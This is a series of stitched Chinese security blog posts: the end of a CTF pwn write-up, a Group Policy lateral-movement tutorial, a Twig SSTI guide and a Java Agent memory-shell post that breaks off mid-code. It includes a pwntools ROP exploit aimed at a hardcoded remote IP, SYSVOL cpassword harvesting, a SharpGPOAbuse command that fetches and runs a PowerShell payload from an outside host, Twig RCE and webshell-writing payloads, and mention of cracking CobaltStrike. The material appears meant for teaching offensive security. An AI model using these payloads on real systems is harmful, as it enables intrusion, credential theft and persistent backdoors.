剩余的操作无非就和典例一是一样的,这里注意的是c++的函数参数填充关系即可 pay=flat('\x00'*0x900,ret*0x20,rdi,cout,rsi,setbuf,0,std,main) 填充0x900的junk code 用来绕过以及填充到合适的地方布局,ret*0x20用来抬栈,这个看情况而定,本题不抬栈会破坏栈结构无法正确的传入参数,rdi,cout,rsi,setbuf,0,std,main这里翻译过来就是如下 std(cout,setbuf.got,0) 返回地址是main。 以上操作泄露了libc直接乱杀了,第二次栈迁移就是直接构造getshell的rop链就行了 exp from pwn import * #r=process('./boom') r=remote('47.107.51.210',6790) context.log_level='debug' context.arch = 'amd64' rdi=0x00000000004014c3 rsi=0x00000000004014c1 ret=0x00000000004014c4 main=0x4012DA std=0x401130 setbuf=0x404018 cout=0x4040C0 bss=0x0404320 leave=0x4013F8 r.recv() pay=flat('\x00'*0x900,ret*0x20,rdi,cout,rsi,setbuf,0,std,main) r.sendline(pay) r.recv() pay=flat('\x00'*0x20,bss+0x900,leave) r.sendline(pay) r.recvuntil("Do you wanna try again?\n") libc=u64(r.recv(6)+b'\x00'*2)-0x087e60 sys=libc+0x055410 sh=libc+0x1b75aa print(hex(libc)) r.recv() pay=flat('\x00'*0x600,ret*0x20,rdi,sh,ret,sys,main) r.sendline(pay) r.recv() pay=flat('\x00'*0x20,bss+0x600,leave) r.sendline(pay) r.interactive() 题目及其exp打包如下 链接:https://pan.baidu.com/s/1PWPdoUzBm5oJatSz_A4BFA 提取码:87zc --来自百度网盘超级会员V3的分享
组策略(GPO)利用与横向移动
组策略(GPO)利用与横向移动 组策略介绍 组策略(英语:Group Policy)是微软https://baike.baidu.com/item/Windows%20NT家族https://baike.baidu.com/item/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F的一个特性,它可以控制用户帐户和计算机帐户的工作环境。组策略提供了操作系统、应用程序和https://baike.baidu.com/item/%E6%B4%BB%E5%8A%A8%E7%9B%AE%E5%BD%95中用户设置的集中化管理和配置。组策略的其中一个版本名为本地组策略(缩写“LGPO”或“LocalGPO”),这可以在独立且 通过使用组策略,你可以设置策略设置一次,然后将该设置复制到多台计算机上。 例如,你可以在链接到域的 GPO 中设置多个 Internet Explorer11 安全设置,然后将所有这些设置应用到域中的每台计算机。 组策略分类 本地组策略 本地组策略(Local Group Policy,缩写LGP或LocalGPO)是组策略的基础版本,它面向独立且非域的计算机。至少Windows XP家庭版中它就已经存在,并且可以应用到域计算机。在Windows Vista以前,LGP可以强制施行组策略对象到单台本地计算机,但不能将策略应用到用户或组。从Windows Vista开始,LGP允许本地组策略管理单个用户和组,并允许使用“GPO Packs”在独立计算机之间备份、导入和导出组策略——组策略容器包含导入策略到目标计算机的所需文件。 开始->运行->键入"gpedit.msc"->本地组策略编辑器->window设置(system)->脚本->启动->属性 显示文件: C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup 把我们的后门程序复制到这个路径,然后这个脚本开机就会自动加载执行了 域组策略 当机器安装了域环境的时候,系统管理工具会多出一个功能(组策略管理),通过它,域管理员能够很方便统一地对域内的机器和用户进行统一管理。 域管理员经常会面对一个这样的问题,域成员机子的默认本地管理员密码过于简单,想进行批量修改的时候,这个时候就可以利用组策略来进行任务的批量下发。 通过在域中下发脚本来执行 在组策略首选项GPP中进行设置 本地管理员密码解决方案:LAPS(不细说这个内容,这是解决这个问题很好的方案) 这里需要了解下AD域中两个默认的共享文件夹:SYSVOL NETLOGON NETLOGON目录 挂载点:SYSVOL\domain\SCRIPTS 主要存放的是一些脚本信息,是AD活动目录安装时候自动创建的,是在sysvol下面的一个子目录文件夹 SYSVOL目录 SYSVOL目录是AD域中的一个共享文件夹,该文件夹在AD活动目录安装时候被创建。通常用来存放组策略数据 和 一些脚本 配置文件,这些策略和脚本将用于传递给域成员机器。 此外,域控机器之间因为要自动同步域数据,SYSVOL文档允许该域内的所有DC机之间进行复制,并且所有的AD用户都可以访问它 在域中,用户登录(计算机)时,会首先在SYSVOL文件查找GPO和启动脚本。同时,为了保证系统的正常运行,必须为SYSVOL保留足够的空间缓存,而且不能随意删除、改动该文件夹,要不然会出现一些组策略无法启用等报错信息 该目录由于针对的是域内所有机器和用户,所以域内中的合法用户均可以访问和执行该目录的文件。(普通的域用户也可以) 如果更改权限,这个地方会显示拒绝访问 * 组策略链接 以Default Domain Policy为例,在右边的作用域里面,可以看到它链接到demo.com整个域,也就是说在demo.com域内的所有计算机,用户都会受到这条组策略的影响。链接的位置可以是站点、域以及OU。 比如说xsf这条组策略。它就链接到xs这个OU。加入xs这个OU的所有计算机以及用户会受到影响。 * 组策略内容 右键组策略,选择保存报告,可以将组策略的内容导出为htlm。 可以看到它配置的一些内容,设置密码最长期限为42天,最短密码长度为7个字符等。 如果想配置这条组策略的内容,在组策略条目上右键编辑,打开组策略编辑器。可以看到左边分为计算机配置以及用户配置。在里面的配置分别作用于计算机和用户。 在配置底下又分为策略以及首选项。首选项是Windows Server 2008发布后用来对GPO中的组策略提供额外的功能。策略和首选项的不同之处就在于强制性。策略是受管理的、强制实施的。而组策略首选项则是不受管理的、非强制性的。 对于很多系统设置来说,既可以通过策略设置来实现,也可以通过策略首选项来实现,二者有相当一部分的重叠。 * 组策略更新 默认情况下,客户端更新组策略的方式主要有 后台轮询检查sysvol里的GPT.ini,如果版本高于本地保存的组策略版本,客户端将会更新本地的组策略。轮询的时间是,默认情况下,计算机组策略会在后台每隔90分钟更新一次,并将时间作0到30分钟的随机调整。域控制器上的组策略会每隔5分钟更新一次。 用户开机登录时,会检查sysvol里的GPT.ini,如果高于本地保存的组策略版本,将会更新本地的组策略。 客户端强制更新,执行gpupdate /force。 域控强制客户端更新(不会比较域共享目录中组策略的版本),执行Invoke-GPUpdate -Computer "TESTwin10" -Target "User"(2008 R2默认不支持该命令,2012支持) 组策略应用顺序: 应用本地组策略 → 如果有站点组策略则应用 → 应用域策略 → 应用OU上的策略。 如果同一个OU上链接了多个GPO,则按照链接顺序从高到低逐个应用。如果多个组策略设置冲突,则后应用的组策略覆盖先应用的组策略。 * 组策略存储 每条组策略可以看做是存储在域级别的一个虚拟对象,叫做GPO。每个GPO有唯一标志,用来标识每条组策略(或者说每个GPO),GPO在域内存储分为两个部分:GPC、GPT。 GPC位于LDAP中,CN=Policies,CN=System,<BaseDn>下,每个条目对应一个GPC。包含了GPO属性,例如版本信息,GPO状态和其他组件设置。 GPT位于\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies中。域内任何人都可以读取\\<DOMAIN>\SYSVOL\<DOMAIN>\这个默认的共享路径下的内容。 GPC里面的gPCFileSysPath属性链接到GPT里面。GPT是一个文件系统文件夹,其中包含由.adm文件,安全设置,脚本文件以及有关可用于安装的应用程序的信息指定的策略数据。 在域、站点、OU上的gPLink属性来标识链接到这里的组策略,gPOptions属性来标识组策略是否会继承。 组策略利用 GPO常用命令 #加载GroupPolicy模块 (win7没有,win10有) Import-Module GroupPolicy –verbose #获得所有GPO的内容 Get-GPO -All #将所有GPO导出为一个HTML报告 Get-GPOReport -All -ReportType html -Path C:\GposReport\GposReport.html #将每个GPO单独导出一个HTML报告 Get-GPO -All | %{ Get-GPOReport -name $_.displayname -ReportType html -path ("c:\GPOReports\"+$_.displayname+".html") } #查看指定GPO的权限设置 Get-GPPermission -Name "客服部组策略" -All #备份指定GPO Backup-Gpo -Name TestGPO1 -Path C:\GpoBackups #备份所有GPO Backup-Gpo -All -Path "c:\GpoBackups" #还原指定GPO Restore-GPO -Name TestGPO1 -Path C:\GpoBackups #还原所有GPO Restore-GPO -All -Path "c:\GpoBackups" 利用SYSVOL还原组策略中的密码 如果在组策略中输入了密码,如以用户身份运行程序、修改域内主机内置administrator用户密码等操作。 然后可以在GPT中看到加密后的密码(AES-256) C:\Windows\SYSVOL\domain\Policies\{0EA52652-3A0D-4135-8BD7-92EFF59CB765}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml 可以通过以下命令来快速搜索(网上有解密方法) findstr /S cpassword \\192.168.40.154\sysvol\*.xml for /r \\192.168.40.154/sysvol %i in (*.xml) do @echo %i 得到cpassword后可以通过kali中的gpp-decryp 去解密 利用https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1,自动查询共享文件夹\SYSVOL中的文件,还原出所有明文密码。 组策略横向 在拿到域控之后,有时候可能网络ACL到达不了目标电脑,可以通过组策略进行横向。攻击者可以利用组策略来推出恶意软件、创建/修改计划任务、降级凭据保护、向所有计算机添加新的本地帐户被添加到本地管理员组。更改现有的安全策略,启用明文密码提取。 实验环境如下: 域控:AD-2008(192.168.40.154),demo\administrator:vulnstack4. 域机器:win7(192.168.40.157),demo\administrator:vulnstack4. 目前已经拿下域控,域成员机开启了防火墙,并且禁止了445,135等端口的访问,传统的psexec和winrm以及pth等横向移动无法直接拿下成员机 计划任务 自Windows Server 2008开始,GPO开始支持计划任务,便于管理域中的计算机和用户。 https://github.com/FSecureLABS/SharpGPOAbuse 创建GPO powershell -c Import-Module GroupPolicy;new-gpo -name TestGP02 将GPO链接到域demo.com,需要域管权限。 powershell -c Import-Module GroupPolicy;new-gplink -name TestGP02 -Target "dc=demo,dc=com" #添加定时任务 --TargetDnsName指定计算机 execute-assembly F:\\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update2" --Author demo\\administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://119.45.175.218/payload.ps1'))\"" --GPOName "TestGP02" --FilterEnabl 即时任务会在组策略同步的时候强制执行一次,组策略每90分钟自动同步一次。 在组成员中强制更新组策略,或者默认等待90分钟等待组策略强制更新 gpupdate /force 这时候可以看到域成员机上线 删除gpo powershell -c Import-Module GroupPolicy;Remove-GPO -Name TestGPO2 参考: https://xz.aliyun.com/t/9511https://www.anquanke.com/post/id/203151#h3-22
以Twig模板为例浅学一手SSTI
什么是SSTI SSTI:开局一张图,姿势全靠y SSTI,即服务器端模板注入(Server-Side Template Injection) 常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。 sql注入的成因是从用户获得一个输入后,经过后端脚本语言进行数据库查询,这时我们就可以构造输入语句来进行拼接,从而实现我们想要的sql语句 SSTI也是如此,不过SSTI是在服务端接收了输入后,将其作为web应用模板内容的一部分,在进行目标编译渲染的过程中,将恶意语句进行了拼接,因此可能造成敏感信息泄露、代码执行、getshell等问题 在这我会简单以常见的Twig模板引擎进行演示,有所遗漏错误,欢迎各位师傅们进行补充纠正 模板引擎 模板是一种提供给程序进行解析的一种语法,从初始数据到实际的视觉表达靠的就是这一项工作所实现的,且这种手段是同时存在于前后端的 常见的模板引擎有 1.php 常用的 Smarty Smarty算是一种很老的PHP模板引擎了,非常的经典,使用的比较广泛 Twig Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。 Blade Blade 是 Laravel 提供的一个既简单又强大的模板引擎。 和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade基本上不会给你的应用增加任何额外负担。 2.Java 常用的 JSP 这个引擎我想应该没人不知道吧,这个应该也是我最初学习的一个模板引擎,非常的经典 FreeMarker FreeMarker是一款模板引擎:即一种基于模板和要改变的数据,并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。 Velocity Velocity作为历史悠久的模板引擎不单单可以替代JSP作为JavaWeb的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。 3.Python 常用的 Jinja2 flask jinja2 一直是一起说的,使用非常的广泛,是我学习的第一个模板引擎 django django 应该使用的是专属于自己的一个模板引擎,我这里姑且就叫他 django,我们都知道django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的,你使用别的就不能发挥出 django 的特性了 tornado tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发 形形色色的模板引擎为了达到渲染效果,总会对用户输入有所处理,这也就给攻击者提供了道路,尽管模板引擎也会相应提供沙箱机制进行保护,但是也存在沙箱逃逸技术可以进行绕过 攻击思路 找到模板是什么模板引擎,是哪个版本的,然后设法利用模板的内置方法,进行rce、getshell PHP-Twig Twig 被许多开源项目使用,比如 Symfony、Drupal8、eZPublish、phpBB、Matomo、OroCRM;许多框架也支持 Twig,比如 Slim、Yii、Laravel 和 Codeigniter 等等。 本地复现可以用composer搭建 在Twig引擎中,我们可以通过下面方法获得一些关于当前应用的信息(虽然经常会被ban就是...) {{_self}} #指向当前应用 {{_self.env}} {{dump(app)}} {{app.request.server.all|join(',')}} 基础语法 模板其实就是一个文本文件,它可以生成我们需要的任何基于文本的格式文件(html、xml、csv等) 它也没有特别的拓展后缀名,.html、.xml、.twig都可 这里主要讲一些我们在利用时会用到的基础知识 变量 应用程序将变量传入模板中进行处理,变量可以包含你能访问的属性或元素。你可以使用 . 来访问变量中的属性(方法或 PHP 对象的属性,或 PHP 数组单元),Twig还支持访问PHP数组上的项的特定语法, foo['bar'] : {{ foo.bar }} {{ foo['bar'] }} 全局变量 模板中始终提供以下变量: _self :引用当前模板名称;(在twig1.x和2.x/3.x作用不一) _context :引用当前上下文; _charset :引用当前字符集。 设置变量 可以为代码块内的变量赋值。赋值使用set标签: {% set foo = 'foo' %} {% set foo = [1, 2] %} {% set foo = {'foo': 'bar'} %} 过滤器 变量可以修改为 过滤器 . 过滤器与变量之间用管道符号隔开 (| ). 可以链接多个过滤器。一个过滤器的输出应用于下一个过滤器。 下面的示例从 name 标题是: {{ name|striptags|title }}接受参数的筛选器在参数周围有括号。此示例通过逗号连接列表中的元素: {{ list|join }} {{ list|join(', ') }} // {{ ['a', 'b', 'c']|join }} // Output: abc // {{ ['a', 'b', 'c']|join('|') }} // Output: a|b|c若要对代码部分应用筛选器,请使用apply标签: {% apply upper %}    This text becomes uppercase {% endapply %}过滤器有很多,但是我们常用的一般就map、sort、filter、reduce 更多内置过滤器请参考:https://twig.symfony.com/doc/3.x/filters/index.html 控制结构 控制结构是指所有控制程序流的东西-条件句(即 if/elseif/else/ for)循环,以及程序块之类的东西。控制结构出现在 {{% ... %}} 中 例如,要显示在名为 users 使用for标签: <h1>Members</h1> <ul>   {% for user in users %}        <li>{{ user.username|e }}</li>   {% endfor %} </ul>if标记可用于测试表达式: {% if users|length > 0 %}    <ul>       {% for user in users %}            <li>{{ user.username|e }}</li>       {% endfor %}    </ul> {% endif %}更多 tags 请参考:https://twig.symfony.com/doc/3.x/tags/index.html 函数 在 Twig 模板中可以直接调用函数,用于生产内容。如下调用了 range() 函数用来返回一个包含整数等差数列的列表: {% for i in range(0, 3) %}   {{ i }}, {% endfor %} // Output: 0, 1, 2, 3, 更多内置函数请参考:https://twig.symfony.com/doc/3.x/functions/index.html 注释 要在模板中注释某一行,可以使用注释语法 {# ...#} {# note: disabled template because we no longer use this   {% for user in users %}       ...   {% endfor %} #} 引入其他模板 Twig 提供的 include 函数可以使你更方便地在模板中引入模板,并将该模板已渲染后的内容返回到当前模板 {{ include('sidebar.html') }} 模板继承 Twig最强大的部分是模板继承。模板继承允许您构建一个基本的“skeleton”模板,该模板包含站点的所有公共元素并定义子模版可以覆写的 blocks 块。 从一个例子开始更容易理解这个概念。 让我们定义一个基本模板, base.html ,它定义了可用于两列页面的HTML框架文档: <!DOCTYPE html> <html>   <head>       {% block head %}           <link rel="stylesheet" href="style.css"/>           <title>{% block title %}{% endblock %} - My Webpage</title>       {% endblock %}   </head>   <body>       <div id="content">{% block content %}{% endblock %}</div>       <div id="footer">           {% block footer %}               &copy; Copyright 2011 by <a href="http://domain.invalid/">you</a>.           {% endblock %}       </div>   </body> </html>在这个例子中,block标记定义了子模板可以填充的四个块。所有的 block 标记的作用是告诉模板引擎子模板可能会覆盖模板的这些部分。 子模板可能如下所示: {% extends "base.html" %} {% block title %}Index{% endblock %} {% block head %}   {{ parent() }}   <style type="text/css">       .important { color: #336699; }   </style> {% endblock %} {% block content %}   <h1>Index</h1>   <p class="important">       Welcome to my awesome homepage.   </p> {% endblock %}其中的 extends 标签是关键所在,其必须是模板的第一个标签。 extends 标签告诉模板引擎当前模板扩展自另一个父模板,当模板引擎评估编译这个模板时,首先会定位到父模板。由于子模版未定义并重写 footer 块,就用来自父模板的值替代使用了。 更多 Twig 的语法请参考:https://twig.symfony.com/doc/3.x/ 1.x 在twig 1.x版本,存在三个全局变量 _self:引用当前模板实例 _context:引用上下文 _charset:引用当前字符集 其相对应的代码如下 protected $specialVars = [        '_self' => '$this',        '_context' => '$context',        '_charset' => '$this->env->getCharset()',   ];在twig 1.x中,主要利用的是_self变量,它会返回当前 \Twig\Template 实例,并提供了指向 Twig_Environment 的 env 属性,这样我们就可以继续调用 Twig_Environment 中的其他方法 payload setCache方法 {{_self.env.setCache("ftp://ip:port")}}{{_self.env.loadTemplate("backdoor")}} 通过调用setCache方法改变twig加载php的路径,在allow_url_include开启的条件下,我们就可以实现远程文件包含 getFilter方法 在getFilter方法中存在call_user_func回调函数,通过传入参数我们可以借此调用任意函数 #getFilter public function getFilter($name) {   ...    foreach ($this->filterCallbacks as $callback) {    if (false !== $filter = call_user_func($callback, $name)) {      return $filter;   } }  return false; } public function registerUndefinedFilterCallback($callable) {  $this->filterCallbacks[] = $callable; } {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} // Output: uid=33(www-data) gid=33(www-data) groups=33(www-data) 但以上漏洞都只存在于1.x,在后续版本中,_self只会返回当前实例名字符串 2.x&3.x 在这里我用twig3.x+php7.3.4作为示例 用PHP的API调用twig index.php <?php require_once "./vendor/autoload.php"; $loader = new \Twig\Loader\ArrayLoader([    'index' => 'Hello {{ name }}!', ]); $twig = new \Twig\Environment($loader); $template = $twig->createTemplate("Hello {$_GET['name']}!"); echo $template->render();在twig2.x/3.x中,_self不再像1.x时那么有他独特的作用,但是也相应更新了一些特殊方法来供我们利用 map过滤器 map 这个 map 过滤器将箭头函数应用于序列或映射的元素。arrow函数接收序列或映射的值: {% set people = [ {first: "Bob", last: "Smith"}, {first: "Alice", last: "Dupond"}, ] %} {{ people|map(p => "#{p.first} #{p.last}")|join(', ') }} {# outputs Bob Smith, Alice Dupond #} arrow函数还接收密钥作为第二个参数: {% set people = { "Bob": "Smith", "Alice": "Dupond", } %} {{ people|map((last, first) => "#{first} #{last}")|join(', ') }} {# outputs Bob Smith, Alice Dupond #} 注意arrow函数可以访问当前上下文。 可以看出允许用户传一个arrow 函数,arrow 函数最后会变成一个closure 举个例子 当我们传入 {{["man"]|map((arg)=>"hello #{arg}")}}在模板中会被编译为 twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))map所对应的函数如下 function twig_array_map($array $arrow) {    $r = [];    foreach ($array as $k => $v) {        $r[$k] = $arrow($v $k);   }    return $r; }我们可以看到,传入的 $arrow 直接就被当成函数执行,即 $arrow($v, $k),而 $v 和 $k 分别是 $array 中的 value 和 key 所以$array和$arrow都是我们可控的,那我们就可以找到有两个参数的、可以实现命令执行的危险函数来进行rce 经过查询,有如下几种常见命令执行函数 system ( string $command [, int &$return_var ] ) : string passthru ( string $command [, int &$return_var ] ) exec ( string $command [, array &$output [, int &$return_var ]] ) : string shell_exec ( string $cmd ) : string有两个参数的函数就上面三种,其对应payload {{["whoami"]|map("system")}} {{["whoami"]|map("passthru")}} {{["whoami"]|map("exec")}}    // 无回显 但是当上面的都被ban了呢,我们还有没有其他方法rce 当然,例如 file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int当我们找到路径后就可以利用该函数进行写shell了 ?name={{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|map("file_put_contents")}} 根据map过滤器的利用思路,我们可以再找到其他类似的,带有$arrow参数的 sort过滤器 sort 这个 sort 筛选器对数组排序: {% for user in users|sort %} ... {% endfor %} 注解 在内部,Twig使用PHP https://secure.php.net/asort 函数来维护索引关联。它通过将可遍历对象转换为数组来支持这些对象。 您可以传递一个箭头函数来对数组进行排序: {% set fruits = [   { name: 'Apples', quantity: 5 },   { name: 'Oranges', quantity: 2 },   { name: 'Grapes', quantity: 4 }, ] %} {% for fruit in fruits|sort((a, b) => a.quantity <=> b.quantity)|column('name') %}   {{ fruit }} {% endfor %} {# output in this order: Oranges, Grapes, Apples #} 注意 spaceship 运算符来简化比较。 类似于map,sort在模板编译时也会进入twig_sort_filter 函数 function twig_sort_filter($array, $arrow = null) {    if ($array instanceof \Traversable) {        $array = iterator_to_array($array);   } elseif (!\is_array($array)) {        throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));   }    if (null !== $arrow) {        uasort($array, $arrow);    // 直接被 uasort 调用   } else {        asort($array);   }    return $array; }uasort ( array &$array , callable $value_compare_func ) : bool可以看到,$array 和$arrow直接被uasort调用 uasort会将数组中的元素按照键值进行排序,当我们自定义一个危险函数时,就可能造成rce 这样我们就可以构造payload了 {{["id", 0]|sort("system")}} {{["id", 0]|sort("passthru")}} {{["id", 0]|sort("exec")}}    // 无回显 filter过滤器 filter 这个 filter 过滤器使用箭头函数过滤序列或映射的元素。arrow函数接收序列或映射的值: {% set sizes = [34, 36, 38, 40, 42] %} {{ sizes|filter(v => v > 38)|join(', ') }} {# output 40, 42 #} 与 for 标记,它允许筛选要迭代的项: {% for v in sizes|filter(v => v > 38) -%} {{ v }} {% endfor %} {# output 40 42 #} 它也适用于映射: {% set sizes = { xs: 34, s: 36, m: 38, l: 40, xl: 42, } %} {% for k, v in sizes|filter(v => v > 38) -%} {{ k }} = {{ v }} {% endfor %} {# output l = 40 xl = 42 #} arrow函数还接收密钥作为第二个参数: {% for k, v in sizes|filter((v, k) => v > 38 and k != "xl") -%} {{ k }} = {{ v }} {% endfor %} {# output l = 40 #} 注意arrow函数可以访问当前上下文。 类似于map,filter在模板编译时也会进入twig_array_filter 函数 function twig_array_filter($array, $arrow) {    if (\is_array($array)) {        return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);    // $array 和 $arrow 直接被 array_filter 函数调用   }    // the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator    return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow); } array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array可以看到和前面方法类似,我们实验一下 得到payload {{["id"]|filter("system")}} {{["id"]|filter("passthru")}} {{["id"]|filter("exec")}}    // 无回显 {{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|filter("file_put_contents")}}    // 和map过滤器一样可以写 Webshell reduce 过滤器 reduce 这个 reduce filter使用arrow函数迭代地将序列或映射缩减为单个值,从而将其缩减为单个值。arrow函数接收上一次迭代的返回值和序列或映射的当前值: {% set numbers = [1, 2, 3] %} {{ numbers|reduce((carry, v) => carry + v) }} {# output 6 #} 这个 reduce 过滤器需要 initial 值作为第二个参数: {{ numbers|reduce((carry, v) => carry + v, 10) }} {# output 16 #} 注意arrow函数可以访问当前上下文。 直接来看函数 function twig_array_reduce($array, $arrow, $initial = null) {    if (!\is_array($array)) {        $array = iterator_to_array($array);   }    return array_reduce($array, $arrow, $initial);    // $array, $arrow 和 $initial 直接被 array_reduce 函数调用 } array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed可以看到array_reduce是有三个参数的 $array 和 $arrow 直接被 array_filter 函数调用,我们可以利用该性质自定义一个危险函数从而达到rce 刚开始还是像前面一样构造 {{["id", 0]|reduce("passthru")}}但是发现没有执行成功,原因是第一次调用的是 passthru($initial, "id")因为$initial为null,所以会报错,我们想要对他进行赋值才行 payload {{[0, 0]|reduce("system", "id")}} {{[0, 0]|reduce("passthru", "id")}} {{[0, 0]|reduce("exec", "id")}}    // 无回显 题目 [BJDCTF2020]Cookie is so stable 进入发现一个flag按钮和一个hint按钮点击hint发现源码有hint 返回访问flag.php 经过简单测试猜测为twig(传入{{7*'7'}}后Jinja2输出7777777,Twig输出49) 同时发现在cookie是我们的输入点,开始查看是什么版本的twig,用_self来测试 cookie user:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} twig1.x,我们直接cat /flag试试 cookie user:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}} 基本思路还是测试出为哪个模板,哪个版本,测试payload即可 后言 SSTI 并不广泛存在,但如果开发人员滥用模板引擎,那么就很有可能出现SSTI,并且根据其模板引擎的复杂性和开发语言的特性,很大几率会出现非常严重的问题 联想到最近的log4j2漏洞,与SSTI类似,都是将用户的输入当作可信任内容,这才出现了大大小小的安全问题 一句话总结:永远不要相信用户的输入
Java Agent学习
前言 今天看到一篇文章,写的是关于JAVA Agent相关的资料(附1),里面提到了Java Agent的两种实现方法: 实现premain方法,在JVM启动前加载 实现agentmain方法,在JVM启动后attach加载 因为最近流行破解CobaltStrike不再直接使用反编译打包源码了,而是使用JAVA Agent进行提前字节码修改。并且文章中也提到了javassist工具,我之前也用过https://mp.weixin.qq.com/s/vDIteSf9u32m6odrzWUPSg,因此抱着学习和复习的态度来复现下本文提到的技术点。 JAVA Agent两种方法复现 Java Agent简单说就是一种可以修改jar字节码的技术,我们来复现下上述提到的两种方法。 premain 通过实现premain方法,并在启动jar时添加-javaagent:agent.jar即可进行字节码修改。首先我们创建一个正常输出、测试用的JAVA程序,hello.jar: package com.test; public class Hello {   public static void main(String[] args) {       hello();   }   public static void hello(){       for (int i = 0; i < 1000; i++) {           System.out.println("hello");           try {               Thread.sleep(1000);           } catch (InterruptedException e) {               e.printStackTrace();           }       }   } } 生成jar包: Build -> Build Artifacts -> Build 正常运行jar包得到如下输出: java -jar hello.jar 接下来编写一个实现premain方法的JAVA程序: package com.test; import java.lang.instrument.Instrumentation; public class premainagent {   public static void premain(String args, Instrumentation inst) throws Exception{       for (int i = 0; i < 10; i++) {           System.out.println("hello I`m premain agent!!!");       }   } } 并在MANIFEST.MF添加一行: Premain-Class: com.test.premainagent 生成jar包并加载执行: java -javaagent:premainagent.jar -jar hello.jar 可以看到,成功的在hello.jar本身结果输出前输出了premain方法的内容: 前面也提到现在破解CobaltStrike流行用JAVA Agent技术,我们看下破解工具的源码,能发现确实用的也是premain方法进行的破解: agentmain 但是有些JVM已经启动了,不好去让他重启,因此这个时候agentmain就派上用场了,可以方便的attach对应的进程进行字节码的修改。 编写一个实现了agentmain方法的JAVA程序: package com.test; import java.lang.instrument.Instrumentation; public class agentmaintest {   public static void agentmain(String agentArgs, Instrumentation inst) {       for (int i = 0; i < 10; i++) {           System.out.println("hello I`m agentMain!!!");       }   } } 并在MANIFEST.MF添加一行: Agent-Class: com.test.agentmaintest 生成jar包。 再编写一个attach程序(附2): import com.sun.tools.attach.*; import java.io.IOException; import java.util.List; public class TestAgentMain {   public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException{       //获取当前系统中所有 运行中的 虚拟机       System.out.println("running JVM start ");       List<VirtualMachineDescriptor> list = VirtualMachine.list();       for (VirtualMachineDescriptor vmd : list) {           System.out.println(vmd.displayName());           String aim = args[0];//你的jar包           if (vmd.displayName().endsWith(aim)) {               System.out.println(String.format("find %s, process id %s", vmd.displayName(), vmd.id()));               VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());               virtualMachine.loadAgent(args[1]);//你想要加载的agentmain包               virtualMachine.detach();           }       }   } } 生成jar包。 依然尝试对hello.jar进行字节码的修改,但是这次是运行着的hello.jar: 首先运行hello.jar: java -jar hello.jar 对hello.jar进行启动后的attach加载: java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain hello.jar agentmaintest.jar 发现成功在hello.jar运行过程中进行了字节码修改: 内存马 既然可以修改某个方法的实现,那如果修改spring boot的Filter是否就可以实现一个Filter内存马?这里通过修改org.apache.catalina.core.ApplicationFilterChain#doFilter来达到实现内存马的目的。 依然实现一个agentmain方法,只是这次agentmain方法中不再是System.out.println了,而是接收request的值来执行命令。一开始跟着前文提到的方法进行复现,发现有一些问题,比如attach后会爆Caused by: java.lang.ClassNotFoundException: org.apache.catalina.core.ApplicationFilterChain 得加上这两句: ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader())); 除了上面agentmain章节中提到的,在MANIFEST.MF中添加一行Agent-Class,还要添加一行: Can-Retransform-Classes: true 且最后执行命令的JAVA代码,申明变量类型时得是完整路径,如InputStream得变成java.io.InputStream。最终代码如下: package com.test; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; import javassist.*; import java.lang.instrument.UnmodifiableClassException; import java.lang.instrument.IllegalClassFormatException; import java.io.IOException; import java.io.IOException; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException; import java.security.ProtectionDomain; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import javassist.NotFoundException; public class memshell {   public static void agentmain(String agentArgs, Instrumentation instrumentation)           throws ClassNotFoundException, UnmodifiableClassException {       instrumentation.addTransformer(new ClassFileTransformer() {           @Override           public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,                                   ProtectionDomain protectionDomain, byte[] classfileBuffer){               